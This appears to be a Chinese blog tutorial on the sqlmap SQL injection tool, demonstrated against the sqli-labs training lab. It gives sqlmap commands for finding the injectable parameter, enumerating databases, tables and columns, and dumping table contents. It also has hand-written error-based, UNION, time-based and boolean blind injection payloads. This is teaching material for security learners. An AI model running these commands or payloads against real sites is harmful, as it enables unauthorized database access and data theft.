数据库其它

关注公众号 jb51net

关闭
首页 > 数据库 > 数据库其它 > SQL注入漏洞扫描之sqlmap

SQL注入漏洞扫描之sqlmap详解

作者:司越越

SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入

what

SQLMap是一款先进的自动执行SQL注入的审计工具。当给定一个URL时,SQLMap会执行以下操作:

  1. 判断可注入的参数。
  2. 判断可以用哪种SQL注入技术来注入。
  3. 识别出目标使用哪种数据库。
  4. 根据用户的选择,读取哪些数据库中的数据。

更详细语法请参考官方手册---用法 | sqlmap 用户手册 (highlight.ink)

支持类型

sqlmap 可用于检测利用五种不同类型的 SQL 注入。

how---less-1为例

sqlmap在kali中自动集成,若要在Windows中使用需要python2.x版本

1.检测网站是否存在sql注入漏洞的注入点

sqlmap -u "http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1"(id为)

---最好有个""

(-u 前提是检测参数为GET参数)

结果显示参数id是注入点,有存在多个sql注入漏洞,分别是布尔盲注、错误注入、时间盲注、union联合注入

并且返回了该网站基于的数据库类型

我们来验证一下---

错误注入

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

union联合注入

?id=100000' union select 1,2,3 --+

时间盲注

id=1' and if( substr(database(),1,1)='s',sleep(7),0) --+

布尔盲注

id=1' and substr(database(),1,1)='s'--+

2.列举可用数据库

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 --dbs

3.列举数据库中的数据表

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 -D security --tables

4.列举数据表中的字段

?id=1 -D security -T emails --columns

5.输出目标字段的具体内容

?id=1 -D security -T emails -C email_id --dump

注:若字段数不多,4与5可以合并成 ?id=1 -D security -T emails -dump

效果就是列举该表下的所有字段以及字段的内容,以及对应关系 观察更方便

若字段内容的多少可以用--count查看

若想查看指定行数的字段内容可以 --start(起始条数) --stop(终止条数)

?id=1 -D security -T emails --start 2 --stop 3 --dump

总结

以上为个人经验,希望能给大家一个参考,也希望大家多多支持脚本之家。

您可能感兴趣的文章:
阅读全文